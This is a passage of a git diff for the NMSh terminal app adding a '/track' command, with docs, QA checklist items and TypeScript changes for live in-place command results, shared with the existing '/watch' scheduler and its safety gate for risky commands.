include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). ### Fixed diff --git a/docs/development/track-live-command-refresh.md b/docs/development/track-live-command-refresh.md new file mode 100644 index 00000000..01366024 --- /dev/null +++ b/docs/development/track-live-command-refresh.md @@ -0,0 +1,57 @@ +# Live command tracking (`/track`) + +`/track` (#393) keeps **one live result** of a finite command in the transcript, refreshed in place, while the shell +stays free for other commands. It runs on the existing `/watch` scheduler (`src/tasks/WatchTasks.ts`), whose hardening +was first written in draft PR #394 and carried into v0.21; `/watch` keeps its own behavior (its manager panel and +what-changed view) and both names manage the same trackers. + +## Usage + +```sh +/track df -h /Volumes/T7Projects +/track --every 5s -- docker system df +/track # the manager (same as /watch) +/track refresh [N] # one refresh now (never a second, overlapping one) +/track pause [N] · /track resume [N] +/track copy [N] # copy the latest completed result, as plain text +/track stop [N] · /track stop all +``` + +`N` is the tracker's position in the manager (the newest when omitted). The `--` after the cadence is optional but +keeps a command's own flags from reading as NMSh's. + +## What the transcript shows + +- The command line and one note, stored once like any NMSh block: what is tracked, where, and how it runs. +- Under them, drawn live and **never stored**: a status row and the latest completed result. The status says only what + is known: first run pending, `live · every 5s · updated 13:49:25 · exit 0 · 12 runs`, a failing exit code, a timeout, + a spawn error, `paused`, `no new result for 1m 20s` (stale), `refreshing…` while a sample runs. +- The result keeps a stable height (the largest seen, at most 12 rows) so a shorter refresh never moves what is below; + a longer one says how many lines are not shown. `/track copy` copies all of it. +- Live rows are presentation: find, selection and `/copy` never include them, and nothing accumulates per refresh. +- Stopping a tracker (`/track stop`, or S in the manager) writes its **last result once** into the transcript, so + history keeps it. A tracker whose window closes leaves only its stored lines. + +## Execution and safety + +- Every sample is `sh -c ` in its own process group, from the directory the tracker started in, with NMSh's + environment and the live shell's PATH. It does not see the shell's aliases, functions, unexported variables or + options, and it does not follow later `cd`s; the note in the block says so. +- Default interval 5 s; at least 2 s locally and 15 s for remote network targets; at most 60 minutes. Invalid + intervals fail before anything runs. At most 8 active trackers. A sample never overlaps another of the same tracker; + a refresh while one runs is refused with the reason. +- Repeated commands can repeat side effects. Read-only commands (and the exact `docker system df`) start at once; + unknown ones need an explicit Yes; installing, modifying, destroying, privileged, downloaded-code, `cd`, substitution, + background (`&`) and heredoc commands are refused. +- Each sample keeps at most 200 kB of stdout and stderr (decoded as UTF-8 across chunk boundaries), says when it was + cut, and has its terminal control sequences removed. A sample is stopped after the lesser of 60 s or three + intervals and shown as timed out. Stopping signals the owned process group (TERM, then KILL after a grace period); + processes that deliberately leave the group are not followed. + +## Ownership and limits + +Trackers belong to the window that started them, as `/watch` always has: detaching or closing the window stops them +and their processes. They are not restarted on reattach; the stored lines remain. Service-owned tracking that survives +detach would reuse the session's background-task supervisor (#382) and is not part of v0.21. + +Physical terminal checks are listed in `docs/testing/v021-physical-qa.md`. diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index e644a606..aea9bb28 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -19,7 +19,7 @@ Automated results here are not physical-terminal validation. | 2 | `/view` | #397, #402 | `feature/v021-view` (stacked on slice 1) | | PR open | | 3 | `/edit` | #402 | `feature/v021-edit` (stacked on slice 2) | | PR open | | 4 | Semantic Output | #386 | `feature/v021-semantic` (stacked on slice 3) | | PR open | -| 5 | `/track` | #393 (#394) | | | | +| 5 | `/track` | #393 (#394) | `feature/v021-track` (stacked on slice 4) | | PR open | | 6 | Modules and diagnostics | #364, #365 | | | | | 7 | Themes and controls | #401, #336 | | | | @@ -30,13 +30,17 @@ Automated results here are not physical-terminal validation. - #408 is a production race in `SemanticService` (superseded lookups resolved `unknown`), plus a test that raced the real shell's startup knowledge. - `/track` stays window-owned like `/watch` in v0.21; service-owned scheduling is deferred and documented. +- PR #394's `WatchTasks.ts`/`WatchPanel.ts` were adopted as written (neither file changed on `dev` since its base) and + its tests kept; its other edits were re-applied by hand. #394 itself is superseded by the slice 5 PR and was not merged. +- `/track` samples run `sh -c` (as `/watch` always has) with the live shell's PATH, not the session shell, so `/watch` + semantics stay the same for Fish users. ## Physical QA still required Checklist: [v0.21 physical QA](../testing/v021-physical-qa.md). Slice 1: section 1 (multi-row progress in Ghostty and Terminal.app, queued highlight colors). Slice 2: section 2 (`/view` keys, rendering, refusals, hostile text, NO_COLOR). Slice 3: section 3 (`/edit` editing keys, saving, conflicts, refusals). Slice 4: section 4 (overview rows, details -toggle, copy flags, Off). +toggle, copy flags, Off). Slice 5: section 5 (`/track` block, refresh, copy, stop, cleanup). ## Verification notes diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index 370770e2..ed702e27 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -21,6 +21,8 @@ | 3 `/edit` | Ghostty | macOS | zsh | | Not run | | | 3 `/edit` | Terminal.app | macOS | Bash or Fish | | Not run | | | 4 Semantic Output | Ghostty | macOS | zsh | | Not run | | +| 5 `/track` | Ghostty | macOS | zsh | | Not run | | +| 5 `/track` | Terminal.app | macOS | Fish | | Not run | | ## 1. Multi-row progress redraws (#388) @@ -85,3 +87,19 @@ output only; find (Ctrl+F) never matches the overview text. - [ ] 4.6 Settings → Transcript → Semantic Output Off: the rows disappear from every block; On brings them back. - [ ] 4.7 `NO_COLOR=1` and Safe glyphs: the overview reads `+`/`x` and stays readable at 40 columns. + +## 5. `/track` + +- [ ] 5.1 `/track df -h` and (where Docker runs) `/track --every 5s -- docker system df`: one block, a status row and the + result; it updates in place every interval while you run other commands; scrolling up and selecting text in other + blocks is never disturbed. +- [ ] 5.2 Make the result shorter and longer (`/track --every 2s -- cat f.txt` while editing `f.txt`): shorter results + do not move what is below; longer ones say how many lines are not shown. +- [ ] 5.3 `/track refresh` twice quickly: the second is refused, never overlapped. `/track pause`, `/track resume`. +- [ ] 5.4 A failing command (`/track --every 2s -- ls missing`): the status shows the exit code, never a healthy result. +- [ ] 5.5 `/track copy` copies only the latest result; find (Ctrl+F) never matches the live rows. +- [ ] 5.6 `/track stop`: the last result appears once in the transcript; `/resume` of the saved session shows it + without any per-refresh copies. +- [ ] 5.7 An unknown command asks for Yes first; `rm`, `sudo`, `cd`, `$(...)`, `&` and heredocs are refused. +- [ ] 5.8 Close the window with a tracker running: no `sh` or command processes are left (`ps`). `/watch git status` + still opens its manager. diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index c3d84b49..e12189a7 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -68,7 +68,7 @@ import {DEFAULT_REPORT_OPTIONS, describeFindings, redactText, scanSensitive, typ import {applyReportEdit, createReportReview, createTextReview, renderReportReview, reportReviewKey, type ReportReviewState} from '../ui/ReportReview.js'; import {configuredEditor} from '../host/HostActions.js'; import {comparePanelKey, createComparePanel, renderComparePanel, type ComparePanelState} from '../ui/ComparePanel.js'; -import {loadFileDocument, outputDocument} from '../viewer/document.js'; +import {displayPath, loadFileDocument, outputDocument} from '../viewer/document.js'; import {createViewer, renderViewer, viewerKey, type ViewerLook, type ViewerState} from '../viewer/ViewerPanel.js'; import {createEditor, editorKey, renderEditor, type EditorAction, type EditorState} from '../viewer/EditorPanel.js'; import {openForEdit, saveFile} from '../viewer/fileEdit.js'; @@ -268,8 +268,9 @@ import {openableUrl, projectRunAllowed, readProjectFacts} from '../ask/project.j import {ManagedTasks} from '../tasks/ManagedTasks.js'; import {CursorPresenter} from '../cursor/CursorPresenter.js'; import {runDoctor} from '../doctor/doctor.js'; -import {parseWatch, watchSafety, WatchTasks} from '../tasks/WatchTasks.js'; +import {parseWatch, watchSafety, WatchTasks, type WatchSafety} from '../tasks/WatchTasks.js'; import {renderWatchPanel, watchPanelKey, watchRow, type WatchPanelState} from '../tasks/WatchPanel.js'; +import {finalResultRows, trackBlockRows} from '../tasks/trackBlock.js'; import {analyzePaste, KIND_LABELS, needsPreview, PASTE_EXACT_NOTE, pasteHeader, primaryKind, type PasteAnalysis, nmshCommandNote} from '../input/pasteGuard.js'; import type {BatchShell} from '../input/pasteBatch.js'; import {createPasteReview, displaySafe, pasteReviewKey, renderPasteReview, type PasteReviewState} from '../input/PasteReview.js'; @@ -940,6 +941,7 @@ export class TerminalApp { this.output.presenter.setTreatment(this.promptConfiguration.presentation); this.output.setOutputFolding(this.promptConfiguration.outputFolding); this.output.setSemanticOutput(this.promptConfiguration.semanticOutput); + this.output.setLiveRows((id, width) => this.trackRows(id, width)); this.output.presenter.setLayout(this.promptConfiguration.transcriptPresentation); this.output.presenter.setHyperlinks(this.host.capabilities.hyperlinks); this.renderer.setCursorStyle(cursorStyleSequence(this.promptConfiguration.cursor.shape, this.promptConfiguration.cursor.blink)); @@ -1928,13 +1930,28 @@ export class TerminalApp { if (action?.kind === 'close') { this.watchPanel = undefined; this.returnFromPanel(); } else if (action?.kind === 'confirm' && panel.confirm) { const pending = panel.confirm; + const size = this.dimensions(); + if (size.columns < 40 || size.rows < 14) { + panel.message = 'Resize to at least 40 columns and 14 rows to review this recurring command.'; + this.render(); + return; + } panel.confirm = undefined; const safety = watchSafety(pending.command); if (safety.kind === 'refused') panel.message = safety.reason; - else { this.watches.start(pending.command, pending.cwd, pending.intervalMs, safety); panel.selected = this.watches.active().length - 1; } + else if (this.startWatch(pending.track ? `/track ${pending.command}` : `/watch ${pending.command}`, pending.command, pending.cwd, pending.intervalMs, safety, Boolean(pending.track))) { + // A confirmed /track shows its block in the transcript; the manager closes. + if (pending.track) { this.watchPanel = undefined; this.returnFromPanel(); } + else panel.selected = this.watches.active().length - 1; + } } else if (action?.kind === 'pause') this.watches.pause(action.id); else if (action?.kind === 'resume') this.watches.resume(action.id); - else if (action?.kind === 'now') this.watches.runNow(action.id); + else if (action?.kind === 'now' && !this.watches.runNow(action.id)) panel.message = 'A result is still being produced; no second one was started.'; + else if (action?.kind === 'copy') { + const latest = this.watches.get(action.id)?.current; + if (!latest) panel.message = 'No completed result to copy yet.'; + else void this.copyText(latest.output, 'Copied the latest result').then(note => { if (note && this.watchPanel === panel) { panel.message = note; this.render(); } }); + } else if (action?.kind === 'stop') this.watches.stop(action.id); this.render(); return; @@ -3013,7 +3030,7 @@ export class TerminalApp { else if (slash.kind === 'providers') this.openProvidersOverview(slash.family); else if (slash.kind === 'llm') this.openUnderstandingPanel(); else if (slash.kind === 'doctor') void this.openDoctor(); - else if (slash.kind === 'watch') this.handleWatch(command, slash.op, slash.arguments); + else if (slash.kind === 'watch') this.handleWatch(command.trim(), slash.op, slash.arguments, slash.track === true); else if (slash.kind === 'queue') this.handleQueueCommand(command, slash.op); else if (slash.kind === 'rename') { if (this.sessionMode !== 'service' || !this.sessionId) this.output.addFrontendInteraction(command, 'Renaming needs a live session (this one runs in-process).', INFO); @@ -8662,16 +8679,45 @@ export class TerminalApp { private doctorPanel?: DoctorPanelState; private watchPanel?: WatchPanelState; /** Watches NMSh schedules itself; they live (and stop) with this window. */ - private readonly watches = new WatchTasks(resolveCommand('sh') ?? '/bin/sh'); - private readonly watchSubscription = this.watches.onChange((_watch, transition) => { + private readonly watches = new WatchTasks(resolveCommand('sh') ?? '/bin/sh', Date.now, () => ({...process.env, PATH: this.shellPath()})); + /** Watches started with /track: their live transcript block keeps the height it reached (see trackBlockRows). */ + private readonly trackBlocks = new Map(); + private readonly watchSubscription = this.watches.onChange((watch, transition) => { if (this.stopped) return; // A watch moving between failing and passing is one meaningful event. if (transition) this.transitions.echo(transition === 'pass' ? 'taskDone' : 'taskFailed', Date.now()); + // A tracker the person stopped leaves its last result in the transcript once (a closing window leaves nothing). + const block = this.trackBlocks.get(watch.id); + if (block && watch.status === 'stopped' && !block.finalized) { + block.finalized = true; + this.output.addFrontendBlock(`/track ${watch.command}`, finalResultRows(watch)); + } this.render(); }); + /** A /track block's live rows (presentation only). */ + private trackRows(id: string, width: number): string[] { + const block = this.trackBlocks.get(id); + const {rows, reserved} = trackBlockRows(this.watches.get(id), width, Date.now(), block?.reserved ?? 0, this.watches.sampling(id)); + if (block) block.reserved = reserved; + return rows; + } + + /** Start a classified (or confirmed) watch; /track also writes its block, whose live rows follow it in place. */ + private startWatch(command: string, watched: string, cwd: string, intervalMs: number | undefined, safety: Exclude, track: boolean): boolean { + let watch; + try { watch = this.watches.start(watched, cwd, intervalMs, safety); } + catch (error) { this.output.addFrontendInteraction(command, error instanceof Error ? error.message : 'Could not start tracking.', ERROR); return false; } + if (track) { + this.trackBlocks.set(watch.id, {reserved: 0, finalized: false}); + const place = cwd === this.shellCwd ? 'here' : `in ${displayPath(cwd)}`; + this.output.addTrackBlock(watch.id, command, [`${GLYPHS.info} Tracking ${watch.command} ${place} with sh -c and your shell's PATH (not its aliases or functions). /track stop ends it.`]); + } + return true; + } + /** /watch …: start (classified first), list, pause, resume, run now, stop. */ - private handleWatch(command: string, op: 'list' | 'stop' | 'pause' | 'resume' | 'now' | 'start', argument: string): void { + private handleWatch(command: string, op: 'list' | 'stop' | 'pause' | 'resume' | 'now' | 'start' | 'copy', argument: string, track = false): void { const active = this.watches.active(); const pick = () => { const index = /^\d+$/u.test(argument) ? Number(argument) - 1 : active.length - 1; @@ -8679,24 +8725,41 @@ export class TerminalApp { }; if (op === 'list') { this.panelOrigin = undefined; this.watchPanel = {selected: 0, output: false}; return; } if (op === 'start') { - const {command: watched, intervalMs} = parseWatch(argument); + const parsed = parseWatch(argument); + if (parsed.error) { this.output.addFrontendInteraction(command, parsed.error, ERROR); return; } + const {command: watched, intervalMs} = parsed; const safety = watchSafety(watched); if (safety.kind === 'refused') { this.output.addFrontendInteraction(command, safety.reason, ERROR); return; } this.panelOrigin = undefined; if (safety.kind === 'confirm' || safety.remote) { this.watchPanel = {selected: 0, output: false, confirm: {command: watched, cwd: this.shellCwd, ...(intervalMs ? {intervalMs} : {}), - reason: safety.kind === 'confirm' ? safety.reason : 'It contacts a remote host every interval (at least every 15s).', choice: 'no'}}; + reason: safety.kind === 'confirm' ? safety.reason : 'It contacts a remote host every interval (at least every 15s).', choice: 'no', ...(track ? {track: true} : {})}}; return; } - this.watches.start(watched, this.shellCwd, intervalMs, safety); - this.watchPanel = {selected: this.watches.active().length - 1, output: false}; + // /track shows its result in the transcript; /watch opens its manager as before. + if (this.startWatch(command, watched, this.shellCwd, intervalMs, safety, track) && !track) this.watchPanel = {selected: this.watches.active().length - 1, output: false}; + return; + } + const noun = track ? 'tracker' : 'watch'; + if (op === 'stop' && argument === 'all') { + for (const watch of active) this.watches.stop(watch.id); + this.output.addFrontendInteraction(command, active.length ? `Stopped every ${noun}; their processes are being ended.` : `Nothing is being ${track ? 'tracked' : 'watched'}.`, INFO); return; } - if (op === 'stop' && argument === 'all') { for (const watch of active) this.watches.stop(watch.id); this.output.addFrontendInteraction(command, 'Stopped every watch.', INFO); return; } const watch = pick(); - if (!watch) { this.output.addFrontendInteraction(command, 'Nothing is being watched.', INFO); return; } - const done = op === 'stop' ? this.watches.stop(watch.id) : op === 'pause' ? this.watches.pause(watch.id) : op === 'resume' ? this.watches.resume(watch.id) : (this.watches.runNow(watch.id), true); - this.output.addFrontendInteraction(command, done ? `${op === 'now' ? 'Running' : op === 'stop' ? 'Stopped' : op === 'pause' ? 'Paused' : 'Resumed'} the watch on ${watch.command}.` : 'Nothing changed.', INFO); + if (!watch) { this.output.addFrontendInteraction(command, `Nothing is being ${track ? 'tracked' : 'watched'}.`, INFO); return; } + if (op === 'copy') { + if (!watch.current) { this.output.addFrontendInteraction(command, `No completed result of ${watch.command} yet.`, INFO); return; } + // The latest completed result only, as plain text: never earlier refreshes, never the block's own lines. + void this.copyText(watch.current.output, `Copied the latest result of ${watch.command.slice(0, 40)}`); + return; + } + if (op === 'now' && !this.watches.runNow(watch.id)) { + this.output.addFrontendInteraction(command, `A result of ${watch.command} is still being produced; no second one was started.`, INFO); + return; + } + const done = op === 'stop' ? this.watches.stop(watch.id) : op === 'pause' ? this.watches.pause(watch.id) : op === 'resume' ? this.watches.resume(watch.id) : true; + this.output.addFrontendInteraction(command, done ? `${op === 'now' ? 'Refreshing' : op === 'stop' ? 'Stopped' : op === 'pause' ? 'Paused' : 'Resumed'} the ${noun} on ${watch.command}.` : 'Nothing changed.', INFO); } /** /doctor: local, bounded, read-only checks gathered in parallel; a live line while they run. */ diff --git a/src/ask/concepts.ts b/src/ask/concepts.ts index c5bdbda4..a4a9c32e 100644 --- a/src/ask/concepts.ts +++ b/src/ask/concepts.ts @@ -158,9 +158,9 @@ export const CONCEPTS: readonly Concept[] = [ {id: 'doctor', label: 'Doctor', support: 'actionable', open: '/doctor', covers: ['/doctor'], aliases: ['doctor', 'health check', 'diagnostics', 'diagnose', 'check my setup', 'is everything ok', 'whats wrong with my setup', 'check environment'], description: '/doctor checks NMSh, the shell, this project, Git, tools, the local model and the host terminal with local, read-only checks, and offers actions that open the right place; it never fixes anything silently.'}, - {id: 'watch', label: 'Watch', support: 'actionable', open: '/watch', covers: ['/watch'], - aliases: ['watch', 'watch a command', 'rerun every', 'repeat a command', 'keep running', 'monitor a command'], - description: '/watch runs a command on NMSh\'s own schedule and shows what changed in one live block (pause, run now, stop). Commands that install, modify or destroy are refused; unknown ones need a Yes.'}, + {id: 'watch', label: 'Watch and track', support: 'actionable', open: '/watch', covers: ['/watch', '/track'], + aliases: ['watch', 'watch a command', 'rerun every', 'repeat a command', 'keep running', 'monitor a command', 'track a command', 'live result', 'refresh a command'], + description: '/track df -h keeps one live result of a finite command in the transcript, refreshed in place every few seconds (/track --every 5s -- cmd; pause, resume, refresh, copy, stop; stopping leaves the last result once). /watch runs the same scheduler with its manager (what changed between runs). Both run sh -c with your shell\'s PATH, not its aliases; commands that install, modify or destroy are refused and unknown ones need a Yes. Trackers stop with the window that started them.'}, {id: 'pastePreview', label: 'Paste preview', support: 'settings', open: '/settings', where: 'Settings → Editor → Paste preview (Smart, Always, Off)', covers: ['settings:Editor'], aliases: ['paste preview', 'paste guard', 'pasting', 'paste safety', 'pasted commands'], description: 'Multiline, chained, mutating or risky pastes are shown (muted, above the composer) before they enter it; Insert keeps the exact text, and nothing runs until you press Enter.'}, diff --git a/src/commands/slashCommands.ts b/src/commands/slashCommands.ts index 76d2b91b..430f61fb 100644 --- a/src/commands/slashCommands.ts +++ b/src/commands/slashCommands.ts @@ -128,7 +128,8 @@ const RAW_COMMANDS: readonly SlashCommand[] = [ {name: '/qc', insertion: '/qc', alias: '/queue', description: 'Review before clearing queued commands'}, {name: '/pause', insertion: '/pause', alias: '/queue', description: 'Pause the command queue'}, {name: '/queue', insertion: '/queue', description: 'Execution timeline and queue manager (/q): /qp or /pause pauses, /qr reviews resume, /qc reviews clear; /queue pause|resume|clear, /queue history reviews finished chains, /queue save-summary saves the newest after a review, /queue settings opens its Settings'}, - {name: '/watch', insertion: '/watch ', description: 'Run a command repeatedly and show what changed (/watch git status · --every 10s · /watch stop|pause|resume)'}, + {name: '/watch', insertion: '/watch ', description: 'Run a command repeatedly and show what changed (/watch git status · --every 10s · /watch stop|pause|resume|refresh)'}, + {name: '/track', insertion: '/track ', description: 'Keep one live result of a finite command in the transcript, refreshed in place (/track df -h · /track --every 5s -- docker system df · pause|resume|refresh|stop|copy)'}, {name: '/doctor', insertion: '/doctor', description: 'Health check: NMSh, shell, project, Git, tools, local model and host (local, read-only)'}, {name: '/llm', insertion: '/llm', description: 'Local Intelligence: the optional local model for Ask and Smart Folding (status, setup, stop, remove)'}, {name: '/providers', insertion: '/providers', description: 'What NMSh uses for prompt, welcome, suggestions, history and more; switch, install, detect'}, @@ -232,7 +233,7 @@ export type ParsedSlashCommand = | {kind: 'providers'; family?: 'prompt' | 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation'} | {kind: 'llm'} | {kind: 'doctor'} - | {kind: 'watch'; op: 'list' | 'stop' | 'pause' | 'resume' | 'now' | 'start'; arguments: string} + | {kind: 'watch'; op: 'list' | 'stop' | 'pause' | 'resume' | 'now' | 'start' | 'copy'; arguments: string; /** Typed as /track: keep one live result in the transcript. */ track?: boolean} | {kind: 'queue'; op: 'open' | 'pause' | 'resume' | 'clear' | 'history' | 'save-summary'} | {kind: 'rename'; name: string} | {kind: 'directories', query: string} @@ -387,11 +388,14 @@ export function parseSlashCommand(input: string): ParsedSlashCommand | undefined const queue = /^\/(?:queue|q)(?:\s+(pause|resume|clear|settings|history|save-summary))?\s*$/u.exec(input); if (queue) return queue[1] === 'settings' ? {kind: 'settings', view: 'config', destination: 'queue'} : {kind: 'queue', op: (queue[1] ?? 'open') as 'open' | 'pause' | 'resume' | 'clear' | 'history' | 'save-summary'}; - const watch = /^\/watch(?:\s+(.*))?$/u.exec(input); + // /track shares the /watch scheduler, safety gate and manager; it also keeps one live result in the transcript. + const watch = /^\/(watch|track)(?:\s+(.*))?$/u.exec(input); if (watch) { - const rest = (watch[1] ?? '').trim(); - const op = /^(stop|pause|resume|now)(?:\s+(.*))?$/u.exec(rest); - return op ? {kind: 'watch', op: op[1] as 'stop' | 'pause' | 'resume' | 'now', arguments: (op[2] ?? '').trim()} : {kind: 'watch', op: rest ? 'start' : 'list', arguments: rest}; + const track = watch[1] === 'track'; + const rest = (watch[2] ?? '').trim(); + const op = new RegExp(`^(stop|pause|resume|now|refresh${track ? '|copy' : ''})(?:\\s+(.*))?$`, 'u').exec(rest); + const kind = op ? (op[1] === 'refresh' ? 'now' : op[1]) as 'stop' | 'pause' | 'resume' | 'now' | 'copy' : rest && rest !== 'list' ? 'start' : 'list'; + return {kind: 'watch', op: kind, arguments: op ? (op[2] ?? '').trim() : rest === 'list' ? '' : rest, ...(track ? {track: true} : {})}; } const rename = /^\/rename(?:\s+(.*))?$/u.exec(input); if (rename) return {kind: 'rename', name: (rename[1] ?? '').trim()}; diff --git a/src/output/OutputBuffer.ts b/src/output/OutputBuffer.ts index 7122f456..beca8f74 100644 --- a/src/output/OutputBuffer.ts +++ b/src/output/OutputBuffer.ts @@ -160,6 +160,9 @@ export class OutputBuffer { private semanticOutput = true; private readonly semanticReadings = new WeakMap(); private readonly semanticDetails = new Map(); + /** /track: the stored line each live result is drawn under (line id → tracker id), and who draws it. */ + private readonly trackAnchors = new Map(); + private liveRowsProvider?: (id: string, width: number) => readonly string[]; private readonly parser: AnsiOutputParser; private readonly completed: CompletedCommand[] = []; private readonly visualGaps = new Set(); @@ -202,6 +205,7 @@ export class OutputBuffer { this.completed.length = 0; this.userToggled.clear(); this.semanticDetails.clear(); + this.trackAnchors.clear(); this.setOutputFilter(undefined); if (!this.active) return; this.active.start = 0; @@ -278,6 +282,7 @@ export class OutputBuffer { this.parser.restore([]); this.completed.length = 0; this.semanticDetails.clear(); + this.trackAnchors.clear(); this.visualGaps.clear(); this.lineTypes.clear(); this.historicalContexts.clear(); @@ -624,6 +629,10 @@ export class OutputBuffer { firstRun: this.firstRun, ownerOf: this.blockOwnership(), foldHighlights: record => this.foldHighlightsFor(record), + liveRows: (line, width) => { + const id = this.trackAnchors.get(line); + return id === undefined ? undefined : this.liveRowsProvider?.(id, width); + }, semantic: record => { const result = this.semanticFor(record); return result ? {result, open: this.semanticDetailsOpen(record, result)} : undefined; @@ -633,6 +642,21 @@ export class OutputBuffer { setSemanticOutput(on: boolean): void { this.semanticOutput = on; } + /** Who draws each /track block's live rows (presentation only; nothing it returns is stored). */ + setLiveRows(provider: (id: string, width: number) => readonly string[]): void { this.liveRowsProvider = provider; } + + /** + * A /track block: NMSh's lines for the command, stored once like any frontend block; the tracker's live result is + * drawn under its last line and replaced in place on every refresh. Returns that line's id. + */ + addTrackBlock(id: string, command: string, rows: readonly string[]): number { + this.addFrontendBlock(command, rows); + const anchor = this.parser.completedCount() - 1; + this.trackAnchors.set(anchor, id); + return anchor; + } + + /** * The block's Semantic Output reading, computed once per record from its stored output (never stored, so a resumed * transcript reads it again lazily). Only shell commands with output are read; Off reads nothing. diff --git a/src/output/OutputSelection.ts b/src/output/OutputSelection.ts index 45501707..c120f96b 100644 --- a/src/output/OutputSelection.ts +++ b/src/output/OutputSelection.ts @@ -42,7 +42,7 @@ export interface OutputAnchor { offset: number; } -const rowKind = (row: WrappedRow) => row.isFoldHint || row.isSemantic ? 'fold' : row.isHistoricalHeader ? 'historical' : row.isFilterHint ? 'filter' : 'line'; +const rowKind = (row: WrappedRow) => row.isFoldHint || row.derived ? 'fold' : row.isHistoricalHeader ? 'historical' : row.isFilterHint ? 'filter' : 'line'; const stableRow = (row: WrappedRow | undefined) => row !== undefined && ((row.lineIndex ?? -1) >= 0 || row.blockStartId !== undefined || row.activityId !== undefined); const matchesAnchor = (row: WrappedRow, anchor: OutputAnchor) => row.lineIndex === anchor.lineIndex && row.blockStartId === anchor.blockStartId && row.activityId === anchor.activityId && rowKind(row) === anchor.kind; diff --git a/src/output/TranscriptPresenter.ts b/src/output/TranscriptPresenter.ts index d237d730..cac7b8ca 100644 --- a/src/output/TranscriptPresenter.ts +++ b/src/output/TranscriptPresenter.ts @@ -79,6 +79,8 @@ export interface TranscriptView { ownerOf: (lineIndex: number) => number | undefined; /** Line ids worth keeping in view inside a collapsed block's hidden middle (failures, diagnostics). */ foldHighlights?: (record: CompletedCommand) => readonly number[]; + /** A /track block's live rows under this stored line, replaced on every refresh; undefined for other lines. */ + liveRows?: (lineIndex: number, width: number) => readonly string[] | undefined; /** The block's Semantic Output reading and whether its details are open (#386); undefined: raw only. */ semantic?: (record: CompletedCommand) => {result: SemanticResult; open: boolean} | undefined; } @@ -285,6 +287,8 @@ export class TranscriptPresenter { else if (cmdIndex !== -1) row.commandIndex = cmdIndex; result.push(row); } + // A /track block's live result, under its stored line (derived: never stored, searched, selected or copied). + for (const ansi of view.liveRows?.(i, width) ?? []) result.push({ansi: truncateAnsi(ansi, width), plain: stripAnsi(truncateAnsi(ansi, width)), lineIndex: i, derived: true}); } if (active) { for (const activity of active.activities) { diff --git a/src/output/TranscriptSearch.ts b/src/output/TranscriptSearch.ts index a1b5d0fd..b249a9a1 100644 --- a/src/output/TranscriptSearch.ts +++ b/src/output/TranscriptSearch.ts @@ -78,7 +78,7 @@ export function logicalLines(rows: readonly WrappedRow[], include: (row: Wrapped let current: LogicalLine | undefined; let currentIndex: number | undefined; rows.forEach((row, index) => { - if (row.isFilterHint || row.isSemantic || !include(row)) { current = undefined; currentIndex = undefined; return; } + if (row.isFilterHint || row.derived || !include(row)) { current = undefined; currentIndex = undefined; return; } if (current && row.lineIndex !== undefined && row.lineIndex === currentIndex) { current.offsets.push(current.text.length); current.rows.push(index); diff --git a/src/output/TranscriptSelection.ts b/src/output/TranscriptSelection.ts index fb8708a4..2d20f914 100644 --- a/src/output/TranscriptSelection.ts +++ b/src/output/TranscriptSelection.ts @@ -52,7 +52,7 @@ export function selectedText(rows: readonly WrappedRow[], selection: TranscriptS let previousLine: number | undefined; for (let index = start; index <= end && index < rows.length; index += 1) { const row = rows[index]!; - if (row.isFilterHint || row.isSemantic) continue; + if (row.isFilterHint || row.derived) continue; const text = row.plain.slice(row.indent ?? 0); // Continuation rows of the same logical line are joined exactly; padding is trimmed once the line ends. if (row.lineIndex !== undefined && row.lineIndex === previousLine && lines.length) lines[lines.length - 1] += text; diff --git a/src/output/semanticRows.ts b/src/output/semanticRows.ts index bc8f085e..4f17a87a 100644 --- a/src/output/semanticRows.ts +++ b/src/output/semanticRows.ts @@ -25,7 +25,7 @@ export function semanticRows(result: SemanticResult, open: boolean, width: numbe const paint = (role: keyof typeof UI_COLORS) => color ? foreground(UI_COLORS[role]) : ''; const passed = result.outcome === 'passed'; const icon = passed ? GLYPHS.success : GLYPHS.failure; - const base = {lineIndex: owner.lineIndex, commandIndex: owner.commandIndex, isSemantic: true as const}; + const base = {lineIndex: owner.lineIndex, commandIndex: owner.commandIndex, derived: true as const}; const overviewPlain = truncateText(` ${icon} ${result.source} · ${result.overview}${result.complete ? '' : ' · from the end of the output'}`, width); const rows: WrappedRow[] = [{...base, plain: overviewPlain, ansi: `${paint(passed ? 'success' : 'failure')}${overviewPlain.slice(0, 2 + icon.length + 1)}${RESET}${paint('secondary')}${overviewPlain.slice(2 + icon.length + 1)}${RESET}`}]; diff --git a/src/output/viewport.ts b/src/output/viewport.ts index 0cc72b4a..89e4e46c 100644 --- a/src/output/viewport.ts +++ b/src/output/viewport.ts @@ -20,8 +20,9 @@ export interface WrappedRow { isFilterHint?: boolean; /** A row of the first-run welcome (0 is Vespyr's block above it), so the ending can reveal it line by line. */ firstRunLine?: number; - /** A Semantic Output row: derived presentation, never transcript content (skipped by search, selection and copy). */ - isSemantic?: boolean; + /** Derived presentation (a Semantic Output reading, a /track live result): never transcript content, so search, + * selection and copy skip it. */ + derived?: boolean; /** Clicking this row opens or closes the Semantic Output details of the block with this startId. */ semanticToggle?: number; } diff --git a/src/tasks/WatchPanel.ts b/src/tasks/WatchPanel.ts index 2fddd282..fae7ff3d 100644 --- a/src/tasks/WatchPanel.ts +++ b/src/tasks/WatchPanel.ts @@ -5,20 +5,21 @@ import {foreground, UI_COLORS} from '../ui/palette.js'; import {truncateAnsi} from '../util/text.js'; import type {WatchTask} from './WatchTasks.js'; -/** /watch: one live block per watch (current, previous, what changed), never a pile of repeated output. */ +/** /track and /watch share one live snapshot view: no duplicated transcript output. */ export interface WatchPanelState { selected: number; /** Showing the selected watch's current output. */ output: 